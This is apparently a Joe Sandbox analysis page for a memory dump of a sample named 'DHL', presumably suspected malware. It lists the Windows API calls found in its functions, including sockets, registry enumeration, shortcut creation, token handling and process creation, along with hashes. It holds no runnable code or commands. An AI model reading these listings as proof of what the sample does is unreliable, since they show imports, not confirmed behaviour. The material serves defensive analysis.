Memory Dump Source

Source File: 00000000.00000002.1464884217.00000000009A1000.00000020.00000001.01000000.00000003.sdmp, Offset: 009A0000, based on PE: true

Associated: 00000000.00000002.1464868271.00000000009A0000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1465028726.0000000000A3C000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1465028726.0000000000A62000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1465133098.0000000000A6C000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1465163033.0000000000A74000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_9a0000_DHL.jbxd

Similarity

API ID: HandleLoadModuleString$Message
String ID: %s (%d) : ==> %s: %s %s
API String ID: 4072794657-3128320259
Opcode ID: 028ac7f3235e13422ad8005d92bd46da7a68958d35e243c819efbca7c1021060
Instruction ID: 0091e666dbf850dfda22409f8c4b2214c301dfd11194fb77b4cb17946022a2f7
Opcode Fuzzy Hash: 028ac7f3235e13422ad8005d92bd46da7a68958d35e243c819efbca7c1021060
Instruction Fuzzy Hash: F80162F35002087FE710DBE09D89EE7726CE708311F400595B706F2082EA749E854F74

Function 00A1096B Relevance: 10.5, APIs: 7, Instructions: 35synchronizationthreadCOMMON

Download Yara Rule

APIs

InterlockedExchange.KERNEL32(00D93838,00D93838), ref: 00A1097B
EnterCriticalSection.KERNEL32(00D93818,00000000), ref: 00A1098D
TerminateThread.KERNEL32(00000000,000001F6), ref: 00A1099B
WaitForSingleObject.KERNEL32(00000000,000003E8), ref: 00A109A9
CloseHandle.KERNEL32(00000000), ref: 00A109B8
InterlockedExchange.KERNEL32(00D93838,000001F6), ref: 00A109C8
LeaveCriticalSection.KERNEL32(00D93818), ref: 00A109CF

Memory Dump Source

Source File: 00000000.00000002.1464884217.00000000009A1000.00000020.00000001.01000000.00000003.sdmp, Offset: 009A0000, based on PE: true

Associated: 00000000.00000002.1464868271.00000000009A0000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1465028726.0000000000A3C000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1465028726.0000000000A62000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1465133098.0000000000A6C000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1465163033.0000000000A74000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_9a0000_DHL.jbxd

Similarity

API ID: CriticalExchangeInterlockedSection$CloseEnterHandleLeaveObjectSingleTerminateThreadWait
String ID:
API String ID: 3495660284-0
Opcode ID: f20ae8fc21e9f73c60c673fdeab8d3f080ee9a0c6a15e8232060466ecfb5ec99
Instruction ID: a876e938b287de502ddaa7d13f35e39ea88e0d50e04f5eef2f8f67d842c3c0cd
Opcode Fuzzy Hash: f20ae8fc21e9f73c60c673fdeab8d3f080ee9a0c6a15e8232060466ecfb5ec99
Instruction Fuzzy Hash: EEF03131442512BBD741AFD4EE8CBD6BB35FF05712F401015F201608A1C7B494B6CF90

Function 00A21C60 Relevance: 9.3, APIs: 6, Instructions: 298networkCOMMON

Download Yara Rule

APIs

__WSAFDIsSet.WSOCK32(00000000,?,00000000,00000000,?,00000064,00000000), ref: 00A21DC0
#17.WSOCK32(00000000,?,?,00000000,?,00000010), ref: 00A21DE1
WSAGetLastError.WSOCK32 ref: 00A21DF2
htons.WSOCK32(?,?,?,?,?), ref: 00A21EDB
inet_ntoa.WSOCK32(?), ref: 00A21E8C

Part of subcall function 00A039E8: _strlen.LIBCMT ref: 00A039F2

Part of subcall function 00A23224: MultiByteToWideChar.KERNEL32(00000000,00000001,?,?,00000000,00000000,00000000,?,?,?,?,00A1EC0C), ref: 00A23240

_strlen.LIBCMT ref: 00A21F35

Memory Dump Source

Source File: 00000000.00000002.1464884217.00000000009A1000.00000020.00000001.01000000.00000003.sdmp, Offset: 009A0000, based on PE: true

Associated: 00000000.00000002.1464868271.00000000009A0000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1465028726.0000000000A3C000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1465028726.0000000000A62000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1465133098.0000000000A6C000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1465163033.0000000000A74000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_9a0000_DHL.jbxd

Similarity

API ID: _strlen$ByteCharErrorLastMultiWidehtonsinet_ntoa
String ID:
API String ID: 3203458085-0
Opcode ID: e3096a3e6a367a5fc89e749812a16202949513eee8a1fd29dff247d42705ac10
Instruction ID: 265261565ba04c909d8bb7fdd20cc8f97ae44a742a2c56796153900cb3582a36
Opcode Fuzzy Hash: e3096a3e6a367a5fc89e749812a16202949513eee8a1fd29dff247d42705ac10
Instruction Fuzzy Hash: 1CB1CF31604310AFC324DF28D895F2A77A5AFD5318F54896CF46A5B2E2DB31ED42CB91

Function 009A5D0A Relevance: 9.3, APIs: 6, Instructions: 276COMMON

Download Yara Rule

APIs

GetClientRect.USER32(?,?), ref: 009A5D30
GetWindowRect.USER32(?,?), ref: 009A5D71
ScreenToClient.USER32(?,?), ref: 009A5D99
GetClientRect.USER32(?,?), ref: 009A5ED7
GetWindowRect.USER32(?,?), ref: 009A5EF8

Memory Dump Source

Source File: 00000000.00000002.1464884217.00000000009A1000.00000020.00000001.01000000.00000003.sdmp, Offset: 009A0000, based on PE: true

Associated: 00000000.00000002.1464868271.00000000009A0000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1465028726.0000000000A3C000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1465028726.0000000000A62000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1465133098.0000000000A6C000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1465163033.0000000000A74000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_9a0000_DHL.jbxd

Similarity

API ID: Rect$Client$Window$Screen
String ID:
API String ID: 1296646539-0
Opcode ID: d7068681ec39f0d39093712e02c6ad5f9352ac7e8444343b0beec742d225d0a9
Instruction ID: 35a7e6411bcf0bc40a9395623689df7084dcd81b6ee764bdd97132fabfa4f580
Opcode Fuzzy Hash: d7068681ec39f0d39093712e02c6ad5f9352ac7e8444343b0beec742d225d0a9
Instruction Fuzzy Hash: 90B19D34A0078AEBDB10CFA9C4407EEB7F5FF58310F14881AE8A9D7250D734AA51DB90

Function 009D01B7 Relevance: 9.3, APIs: 6, Instructions: 269COMMON

Download Yara Rule

APIs

__allrem.LIBCMT ref: 009D00BA
__ehfuncinfo$??2@YAPAXIABUnothrow_t@std@@@Z.LIBCMT ref: 009D00D6
__allrem.LIBCMT ref: 009D00ED
__ehfuncinfo$??2@YAPAXIABUnothrow_t@std@@@Z.LIBCMT ref: 009D010B
__allrem.LIBCMT ref: 009D0122
__ehfuncinfo$??2@YAPAXIABUnothrow_t@std@@@Z.LIBCMT ref: 009D0140

Memory Dump Source

Source File: 00000000.00000002.1464884217.00000000009A1000.00000020.00000001.01000000.00000003.sdmp, Offset: 009A0000, based on PE: true

Associated: 00000000.00000002.1464868271.00000000009A0000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1465028726.0000000000A3C000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1465028726.0000000000A62000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1465133098.0000000000A6C000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1465163033.0000000000A74000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_9a0000_DHL.jbxd

Similarity

API ID: Unothrow_t@std@@@__allrem__ehfuncinfo$??2@
String ID:
API String ID: 1992179935-0
Opcode ID: 8fbb49ba762f8ece8e29681380aa111ddf72d6c7443a1a5a7b6c612577c50f6c
Instruction ID: 6e449b314ae05e6937b7d4d798190c3b2830b226db762e66fcd799562b1fcf37
Opcode Fuzzy Hash: 8fbb49ba762f8ece8e29681380aa111ddf72d6c7443a1a5a7b6c612577c50f6c
Instruction Fuzzy Hash: 3F81E272A40706ABE720AB69CC51B6AB3A9EFC1364F24853FF551D7781E770DA008B91

Function 009D61FE Relevance: 9.2, APIs: 6, Instructions: 216COMMON

Download Yara Rule

APIs

MultiByteToWideChar.KERNEL32(00000001,00000000,?,?,00000000,00000000,?,009C82D9,009C82D9,?,?,?,009D644F,00000001,00000001,8BE85006), ref: 009D6258
MultiByteToWideChar.KERNEL32(00000001,00000001,?,?,00000000,?,?,?,?,009D644F,00000001,00000001,8BE85006,?,?,?), ref: 009D62DE
WideCharToMultiByte.KERNEL32(00000001,00000000,00000000,00000000,?,8BE85006,00000000,00000000,?,00000400,00000000,?,00000000,00000000,00000000,00000000), ref: 009D63D8
__freea.LIBCMT ref: 009D63E5

Part of subcall function 009D3820: RtlAllocateHeap.NTDLL(00000000,?,00A71444,?,009BFDF5,?,?,009AA976,00000010,00A71440,009A13FC,?,009A13C6,?,009A1129), ref: 009D3852

__freea.LIBCMT ref: 009D63EE
__freea.LIBCMT ref: 009D6413

Memory Dump Source

Source File: 00000000.00000002.1464884217.00000000009A1000.00000020.00000001.01000000.00000003.sdmp, Offset: 009A0000, based on PE: true

Associated: 00000000.00000002.1464868271.00000000009A0000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1465028726.0000000000A3C000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1465028726.0000000000A62000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1465133098.0000000000A6C000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1465163033.0000000000A74000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_9a0000_DHL.jbxd

Similarity

API ID: ByteCharMultiWide__freea$AllocateHeap
String ID:
API String ID: 1414292761-0
Opcode ID: 203a99c1f042c14e57fea37d79171cc7ac6e56d3f42bda9b9f918157ac8cc8bc
Instruction ID: 26dd41b28d96eb2ada58c92bfd57fd80d66902774b103555a472f9ec461cc7c3
Opcode Fuzzy Hash: 203a99c1f042c14e57fea37d79171cc7ac6e56d3f42bda9b9f918157ac8cc8bc
Instruction Fuzzy Hash: 0751E172A40216ABDB258FA4CC81FBFB7A9EB84750F15C72AFD05D6241DB34DC40D660

Function 00A2BBDB Relevance: 9.2, APIs: 6, Instructions: 191registryCOMMON

Download Yara Rule

APIs

Part of subcall function 009A9CB3: _wcslen.LIBCMT ref: 009A9CBD

Part of subcall function 00A2C998: CharUpperBuffW.USER32(?,?,?,?,?,?,?,00A2B6AE,?,?), ref: 00A2C9B5
Part of subcall function 00A2C998: _wcslen.LIBCMT ref: 00A2C9F1
Part of subcall function 00A2C998: _wcslen.LIBCMT ref: 00A2CA68
Part of subcall function 00A2C998: _wcslen.LIBCMT ref: 00A2CA9E

RegConnectRegistryW.ADVAPI32(?,?,?), ref: 00A2BCCA
RegOpenKeyExW.ADVAPI32(?,?,00000000,?,?), ref: 00A2BD25
RegCloseKey.ADVAPI32(00000000), ref: 00A2BD6A
RegEnumValueW.ADVAPI32(?,-00000001,?,?,00000000,?,00000000,00000000), ref: 00A2BD99
RegCloseKey.ADVAPI32(?,?,00000000), ref: 00A2BDF3
RegCloseKey.ADVAPI32(?), ref: 00A2BDFF

Memory Dump Source

Source File: 00000000.00000002.1464884217.00000000009A1000.00000020.00000001.01000000.00000003.sdmp, Offset: 009A0000, based on PE: true

Associated: 00000000.00000002.1464868271.00000000009A0000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1465028726.0000000000A3C000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1465028726.0000000000A62000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1465133098.0000000000A6C000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1465163033.0000000000A74000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_9a0000_DHL.jbxd

Similarity

API ID: _wcslen$Close$BuffCharConnectEnumOpenRegistryUpperValue
String ID:
API String ID: 1120388591-0
Opcode ID: 4b3fe3950935b4f943d2fbbf88ee4bfb5004be91cbff7a387bbbd0af6912367f
Instruction ID: 098b099d0e20c6997c7b82cbd982239900db5f44a3bd5c2742a1ef3ccab8e017
Opcode Fuzzy Hash: 4b3fe3950935b4f943d2fbbf88ee4bfb5004be91cbff7a387bbbd0af6912367f
Instruction Fuzzy Hash: E881AE30218241EFC714DF28D891E6ABBE5FF85318F14896CF4594B2A2DB31ED45CBA2

Function 009FF7AD Relevance: 9.2, APIs: 6, Instructions: 183memoryCOMMON

Download Yara Rule

APIs

VariantInit.OLEAUT32(00000035), ref: 009FF7B9
SysAllocString.OLEAUT32(00000001), ref: 009FF860
VariantCopy.OLEAUT32(009FFA64,00000000), ref: 009FF889
VariantClear.OLEAUT32(009FFA64), ref: 009FF8AD
VariantCopy.OLEAUT32(009FFA64,00000000), ref: 009FF8B1
VariantClear.OLEAUT32(?), ref: 009FF8BB

Memory Dump Source

Source File: 00000000.00000002.1464884217.00000000009A1000.00000020.00000001.01000000.00000003.sdmp, Offset: 009A0000, based on PE: true

Associated: 00000000.00000002.1464868271.00000000009A0000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1465028726.0000000000A3C000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1465028726.0000000000A62000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1465133098.0000000000A6C000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1465163033.0000000000A74000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_9a0000_DHL.jbxd

Similarity

API ID: Variant$ClearCopy$AllocInitString
String ID:
API String ID: 3859894641-0
Opcode ID: 28d605b5318bb179a92b30a12f2edfab2a848b273ee135a1cf7f5245a62e3207
Instruction ID: b13cb309d463835c6020c61b0fb144a42664f2e9219a8b696e5cd963000b4041
Opcode Fuzzy Hash: 28d605b5318bb179a92b30a12f2edfab2a848b273ee135a1cf7f5245a62e3207
Instruction Fuzzy Hash: 2F51EC35500318BACF14AF65D8B5739B3A8EF85720F249467FA06DF292DBB48C80D796

Function 00A1910C Relevance: 9.1, APIs: 4, Strings: 1, Instructions: 383COMMON

Download Yara Rule

APIs

Part of subcall function 009A7620: _wcslen.LIBCMT ref: 009A7625

Part of subcall function 009A6B57: _wcslen.LIBCMT ref: 009A6B6A

GetOpenFileNameW.COMDLG32(00000058), ref: 00A194E5
_wcslen.LIBCMT ref: 00A19506
_wcslen.LIBCMT ref: 00A1952D
GetSaveFileNameW.COMDLG32(00000058), ref: 00A19585

Strings

X, xrefs: 00A19412

Memory Dump Source

Source File: 00000000.00000002.1464884217.00000000009A1000.00000020.00000001.01000000.00000003.sdmp, Offset: 009A0000, based on PE: true

Associated: 00000000.00000002.1464868271.00000000009A0000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1465028726.0000000000A3C000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1465028726.0000000000A62000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1465133098.0000000000A6C000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1465163033.0000000000A74000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_9a0000_DHL.jbxd

Similarity

API ID: _wcslen$FileName$OpenSave
String ID: X
API String ID: 83654149-3081909835
Opcode ID: 9e41704695d7017b8ea12808525f2c95823e69d5a48534bf0795cfdbbf61e5c7
Instruction ID: dac96522961097546b714197db3410f3dec61909d5a7d4b7d36fbe0128694ba3
Opcode Fuzzy Hash: 9e41704695d7017b8ea12808525f2c95823e69d5a48534bf0795cfdbbf61e5c7
Instruction Fuzzy Hash: 73E18E31A083109FD724DF24C891BAAB7E5BFC5314F04896DF8999B2A2DB31DD45CB92

Function 009B920C Relevance: 9.1, APIs: 6, Instructions: 113COMMON

Download Yara Rule

APIs

Part of subcall function 009B9BA1: GetWindowLongW.USER32(00000000,000000EB), ref: 009B9BB2

BeginPaint.USER32(?,?,?), ref: 009B9241
GetWindowRect.USER32(?,?), ref: 009B92A5
ScreenToClient.USER32(?,?), ref: 009B92C2
SetViewportOrgEx.GDI32(00000000,?,?,00000000), ref: 009B92D3
EndPaint.USER32(?,?,?,?,?), ref: 009B9321
Rectangle.GDI32(00000000,00000000,00000000,?,?), ref: 009F71EA

Part of subcall function 009B9339: BeginPath.GDI32(00000000), ref: 009B9357

Memory Dump Source

Source File: 00000000.00000002.1464884217.00000000009A1000.00000020.00000001.01000000.00000003.sdmp, Offset: 009A0000, based on PE: true

Associated: 00000000.00000002.1464868271.00000000009A0000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1465028726.0000000000A3C000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1465028726.0000000000A62000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1465133098.0000000000A6C000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1465163033.0000000000A74000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_9a0000_DHL.jbxd

Similarity

API ID: BeginPaintWindow$ClientLongPathRectRectangleScreenViewport
String ID:
API String ID: 3050599898-0
Opcode ID: 336638d275780c1e8edff17b0df2d31863558d254c299fcc3c04898f12f277d8
Instruction ID: c5490f4d58a8b4982857200cbd2971007a27b60dddfb781a6c87e36890abc5c0
Opcode Fuzzy Hash: 336638d275780c1e8edff17b0df2d31863558d254c299fcc3c04898f12f277d8
Instruction Fuzzy Hash: 5141AF31108204AFD711DFA8CC85FBA7BE8EB45730F144629FA64972A1C7319846DB61

Function 00A107EF Relevance: 9.1, APIs: 6, Instructions: 107fileCOMMON

Download Yara Rule

APIs

InterlockedExchange.KERNEL32(?,000001F5), ref: 00A1080C
ReadFile.KERNEL32(?,?,0000FFFF,?,00000000), ref: 00A10847
EnterCriticalSection.KERNEL32(?), ref: 00A10863
LeaveCriticalSection.KERNEL32(?), ref: 00A108DC
ReadFile.KERNEL32(?,?,0000FFFF,00000000,00000000), ref: 00A108F3
InterlockedExchange.KERNEL32(?,000001F6), ref: 00A10921

Memory Dump Source

Source File: 00000000.00000002.1464884217.00000000009A1000.00000020.00000001.01000000.00000003.sdmp, Offset: 009A0000, based on PE: true

Associated: 00000000.00000002.1464868271.00000000009A0000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1465028726.0000000000A3C000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1465028726.0000000000A62000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1465133098.0000000000A6C000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1465163033.0000000000A74000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_9a0000_DHL.jbxd

Similarity

API ID: CriticalExchangeFileInterlockedReadSection$EnterLeave
String ID:
API String ID: 3368777196-0
Opcode ID: 15eb81045d24bbca7caf1a84f056ce7bdd1f2c3291330182380fbd238551182d
Instruction ID: 97b75eb65a937778d3ee029daa0046397e7f0aa04c48c8d4aca04e22364d902a
Opcode Fuzzy Hash: 15eb81045d24bbca7caf1a84f056ce7bdd1f2c3291330182380fbd238551182d
Instruction Fuzzy Hash: 7E416971900205EBDF14EFA4DC85AAA77B9FF44710F1440A9ED04AA297DB70DEA1DBA0

Function 00A381DB Relevance: 9.1, APIs: 6, Instructions: 104windowCOMMON

Download Yara Rule

APIs

ShowWindow.USER32(FFFFFFFF,00000000,?,00000000,00000000,?,009FF3AB,00000000,?,?,00000000,?,009F682C,00000004,00000000,00000000), ref: 00A3824C
EnableWindow.USER32(00000000,00000000), ref: 00A38272
ShowWindow.USER32(FFFFFFFF,00000000), ref: 00A382D1
ShowWindow.USER32(00000000,00000004), ref: 00A382E5
EnableWindow.USER32(00000000,00000001), ref: 00A3830B
SendMessageW.USER32(?,0000130C,00000000,00000000), ref: 00A3832F

Memory Dump Source

Source File: 00000000.00000002.1464884217.00000000009A1000.00000020.00000001.01000000.00000003.sdmp, Offset: 009A0000, based on PE: true

Associated: 00000000.00000002.1464868271.00000000009A0000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1465028726.0000000000A3C000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1465028726.0000000000A62000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1465133098.0000000000A6C000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1465163033.0000000000A74000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_9a0000_DHL.jbxd

Similarity

API ID: Window$Show$Enable$MessageSend
String ID:
API String ID: 642888154-0
Opcode ID: 6e35fbfe77a5d109b0795c9abc506be31532efcf7955d39b625aade9d69f63b8
Instruction ID: eff9dfc882b9f960d2d768388b9ab032cafa52bace893c26e2fa624032aafca7
Opcode Fuzzy Hash: 6e35fbfe77a5d109b0795c9abc506be31532efcf7955d39b625aade9d69f63b8
Instruction Fuzzy Hash: 1641A574601744AFDB11CF95DC99BE57BE0FB0A714F184169FA185F262CB35A842CB50

Function 00A04C7D Relevance: 9.1, APIs: 6, Instructions: 87windowCOMMON

Download Yara Rule

APIs

IsWindowVisible.USER32(?), ref: 00A04C95
SendMessageW.USER32(?,0000000E,00000000,00000000), ref: 00A04CB2
SendMessageW.USER32(?,0000000D,00000001,00000000), ref: 00A04CEA
_wcslen.LIBCMT ref: 00A04D08
CharUpperBuffW.USER32(00000000,00000000,?,?,?,?), ref: 00A04D10
_wcsstr.LIBVCRUNTIME ref: 00A04D1A

Memory Dump Source

Source File: 00000000.00000002.1464884217.00000000009A1000.00000020.00000001.01000000.00000003.sdmp, Offset: 009A0000, based on PE: true

Associated: 00000000.00000002.1464868271.00000000009A0000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1465028726.0000000000A3C000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1465028726.0000000000A62000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1465133098.0000000000A6C000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1465163033.0000000000A74000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_9a0000_DHL.jbxd

Similarity

API ID: MessageSend$BuffCharUpperVisibleWindow_wcslen_wcsstr
String ID:
API String ID: 72514467-0
Opcode ID: 488c78dd01fc4d2b71d2337118983193eed039bf4641cd6de6981a484b2c0a12
Instruction ID: c79046b17512f1431d65d99ea5054a942f9007e7aece1b2fd2c5baa21bf59aa9
Opcode Fuzzy Hash: 488c78dd01fc4d2b71d2337118983193eed039bf4641cd6de6981a484b2c0a12
Instruction Fuzzy Hash: F62129B26042047BEB159B75AC0AF7B7BACEF89760F10402DF905DA1D1DB75CD0187A0

Function 00A1581E Relevance: 9.1, APIs: 4, Strings: 1, Instructions: 336comCOMMON

Download Yara Rule

APIs

Part of subcall function 009A3AA2: GetFullPathNameW.KERNEL32(?,00007FFF,?,00000000,?,?,009A3A97,?,?,009A2E7F,?,?,?,00000000), ref: 009A3AC2

_wcslen.LIBCMT ref: 00A1587B
CoInitialize.OLE32(00000000), ref: 00A15995
CoCreateInstance.OLE32(00A3FCF8,00000000,00000001,00A3FB68,?), ref: 00A159AE
CoUninitialize.OLE32 ref: 00A159CC

Strings

.lnk, xrefs: 00A15876, 00A158C1, 00A15985

Memory Dump Source

Source File: 00000000.00000002.1464884217.00000000009A1000.00000020.00000001.01000000.00000003.sdmp, Offset: 009A0000, based on PE: true

Associated: 00000000.00000002.1464868271.00000000009A0000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1465028726.0000000000A3C000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1465028726.0000000000A62000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1465133098.0000000000A6C000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1465163033.0000000000A74000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_9a0000_DHL.jbxd

Similarity

API ID: CreateFullInitializeInstanceNamePathUninitialize_wcslen
String ID: .lnk
API String ID: 3172280962-24824748
Opcode ID: 260d5f252a28f8274afa0dcc474ad75d0ef0e5a15157c7a421e4e0d318dab6eb
Instruction ID: 3fe952a7308d53f20840f826b59d49a4bad16447e79889fd64e69045539d4f22
Opcode Fuzzy Hash: 260d5f252a28f8274afa0dcc474ad75d0ef0e5a15157c7a421e4e0d318dab6eb
Instruction Fuzzy Hash: 64D14271A08601DFC714DF24C884A6ABBE5FFC9710F148859F88A9B261DB31ED85CB92

Function 00A0175D Relevance: 9.1, APIs: 6, Instructions: 68memoryCOMMON

Download Yara Rule

APIs

Part of subcall function 00A00FB4: GetTokenInformation.ADVAPI32(?,00000002,?,00000000,?), ref: 00A00FCA
Part of subcall function 00A00FB4: GetLastError.KERNEL32(?,00000002,?,00000000,?), ref: 00A00FD6
Part of subcall function 00A00FB4: GetProcessHeap.KERNEL32(00000008,?,?,00000002,?,00000000,?), ref: 00A00FE5
Part of subcall function 00A00FB4: HeapAlloc.KERNEL32(00000000,?,00000002,?,00000000,?), ref: 00A00FEC
Part of subcall function 00A00FB4: GetTokenInformation.ADVAPI32(?,00000002,00000000,?,?,?,00000002,?,00000000,?), ref: 00A01002

GetLengthSid.ADVAPI32(?,00000000,00A01335), ref: 00A017AE
GetProcessHeap.KERNEL32(00000008,00000000), ref: 00A017BA
HeapAlloc.KERNEL32(00000000), ref: 00A017C1
CopySid.ADVAPI32(00000000,00000000,?), ref: 00A017DA
GetProcessHeap.KERNEL32(00000000,00000000,00A01335), ref: 00A017EE
HeapFree.KERNEL32(00000000), ref: 00A017F5

Memory Dump Source

Source File: 00000000.00000002.1464884217.00000000009A1000.00000020.00000001.01000000.00000003.sdmp, Offset: 009A0000, based on PE: true

Associated: 00000000.00000002.1464868271.00000000009A0000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1465028726.0000000000A3C000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1465028726.0000000000A62000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1465133098.0000000000A6C000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1465163033.0000000000A74000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_9a0000_DHL.jbxd

Similarity

API ID: Heap$Process$AllocInformationToken$CopyErrorFreeLastLength
String ID:
API String ID: 3008561057-0
Opcode ID: 9209ed13d3356624cf392c347d2635d54a1af2b905727d614a6cc52a7c7f2842
Instruction ID: a3d72c62c8104051d4f5005936aa2ca7b3f1380627554766eda5db66aae320be
Opcode Fuzzy Hash: 9209ed13d3356624cf392c347d2635d54a1af2b905727d614a6cc52a7c7f2842
Instruction Fuzzy Hash: 00117932600209EFDB14DFA4EC59FEE7BB9EB46365F104118F481A7290D736A945DF60

Function 00A014CE Relevance: 9.1, APIs: 6, Instructions: 64processCOMMON

Download Yara Rule

APIs

GetCurrentProcess.KERNEL32(0000000A,00000004), ref: 00A014FF
OpenProcessToken.ADVAPI32(00000000), ref: 00A01506
CreateEnvironmentBlock.USERENV(?,00000004,00000001), ref: 00A01515
CloseHandle.KERNEL32(00000004), ref: 00A01520
CreateProcessWithLogonW.ADVAPI32(?,?,?,00000000,00000000,?,?,00000000,?,?,?), ref: 00A0154F
DestroyEnvironmentBlock.USERENV(00000000), ref: 00A01563

Memory Dump Source

Source File: 00000000.00000002.1464884217.00000000009A1000.00000020.00000001.01000000.00000003.sdmp, Offset: 009A0000, based on PE: true

Associated: 00000000.00000002.1464868271.00000000009A0000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1465028726.0000000000A3C000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1465028726.0000000000A62000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1465133098.0000000000A6C000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1465163033.0000000000A74000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_9a0000_DHL.jbxd

Similarity

API ID: Process$BlockCreateEnvironment$CloseCurrentDestroyHandleLogonOpenTokenWith
String ID:
